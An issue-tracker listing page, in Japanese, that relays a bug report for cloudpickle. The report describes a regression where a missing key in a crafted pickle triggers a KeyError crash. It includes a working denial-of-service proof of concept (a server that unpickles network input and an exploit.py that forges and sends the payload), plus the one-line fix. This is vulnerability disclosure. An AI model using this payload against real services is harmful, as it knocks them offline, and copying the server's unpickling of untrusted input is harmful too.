Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)
まだ誰も着手していません。
評価
調査の方向性
まず cloudpickle/cloudpickle.py の 1156 行付近を読み、commit c6f8cd4 で削除された防御的チェックと比較します。issue に記載された細工された pickle を再現し、_cloudpickle_submodules キーが存在しない状態でデシリアライズしても、もはや KeyError が発生しないことを確認します。
索引モデルが issue の本文から書いたものです。
説明
A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.
A CVE has been requested to MITRE for this issue.
Affected versions
cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)
Root cause
In commit c6f8cd4 (#517), the following defensive check was removed:
# OLD safe
if '_cloudpickle_submodules' in state:
state.pop('_cloudpickle_submodules')
and replaced with:
# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules") # KeyError if key is absent
Proof of concept
Server.py :
`
import socket
import struct
import pickle
import cloudpickle
import os
HOST = "127.0.0.1"
PORT = 9999
def start_server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
print(f"Listening {HOST}:{PORT}...")
while True:
conn, addr = s.accept()
with conn:
try:
raw_msglen = conn.recv(4)
if not raw_msglen: continue
msglen = struct.unpack(">I", raw_msglen)[0]
data = b""
while len(data) < msglen:
chunk = conn.recv(msglen - len(data))
if not chunk: break
data += chunk
print(f"{len(data)}o from {addr}")
task = pickle.loads(data)
result = str(task())
print(f"Result : {result}")
resp = f"OK: {result}".encode()
conn.sendall(struct.pack(">I", len(resp)) + resp)
except KeyError as e:
print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
print("Stoping server to show the DOS")
break
except Exception as e:
print(f"[!] Error : {type(e).__name__}: {e}")
err_msg = f"Error: {str(e)}".encode()
conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)
if __name__ == "__main__":
start_server()
`
exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os
HOST = "127.0.0.1"
PORT = 9999
def build_payload() -> bytes:
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle
valid = cloudpickle.dumps(lambda: 42)
target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'
if target not in valid:
sys.exit("[!] Signature not found — incompatible cloudpickle version")
modified = valid.replace(target, b'', 1)
old_len = struct.unpack('<Q', valid[3:11])[0]
new_len = old_len - len(target)
return valid[:3] + struct.pack('<Q', new_len) + modified[11:]
def send(data: bytes) -> bytes | None:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(4)
s.connect((HOST, PORT))
s.sendall(struct.pack(">I", len(data)) + data)
raw = s.recv(4)
if not raw:
return None
length = struct.unpack(">I", raw)[0]
return s.recv(length)
def cmd_try():
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle
print(f"[*] Connecting to {HOST}:{PORT}...")
task = cloudpickle.dumps(lambda: "pong")
try:
resp = send(task)
print(f"[+] Server is up — response: {resp.decode()}")
except ConnectionRefusedError:
print("[-] Connection refused — server not running")
sys.exit(1)
except socket.timeout:
print("[-] Timeout — server not responding")
sys.exit(1)
def cmd_exploit():
payload = build_payload()
print(f"[*] Forged payload: {len(payload)} bytes")
print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
print(f"[*] Sending to {HOST}:{PORT}...")
try:
resp = send(payload)
print(f"[-] Server responded (not crashed): {resp}")
except ConnectionRefusedError:
print("[!] Connection refused — server already dead or not running")
except (socket.timeout, ConnectionResetError):
print("[+] No response — server crashed")
print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")
Usage:
python3 exploit.py try Test the connection (sends a legit task)
python3 exploit.py exploit Send the DoS payload
"""
Impact
Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.
Fix
# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)
- 主要言語
- Python
- スター
- 1.9k
- フォーク
- 197
- 平均マージ
- 1日 10時間
- マージ済み PR(30日)
- 1
環境構築
このプロジェクトの環境構築ファイルはまだ確認していません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
cloudpipe/cloudpickle のほかの issue
-
難易度 4/5 3〜5日 初心者へのやさしさ 42/100
cloudpipe/cloudpickle#595 ·
-
難易度 3/5 1〜2日 初心者へのやさしさ 65/100
cloudpipe/cloudpickle#592 · コメント 2 件 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 35/100
cloudpipe/cloudpickle#589 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 20/100
cloudpipe/cloudpickle#587 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 38/100
cloudpipe/cloudpickle#586 ·
cloudpipe/cloudpickle の issue をすべて見る
似ている issue
-
needs triage
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
メンテナーはふだん 2 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
openvinotoolkit/openvino_notebooks#3665 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 86/100
メンテナーはふだん 1 日以内に返信
-
docs
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
benchmark-gap
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
メンテナーはふだん 1 日以内に返信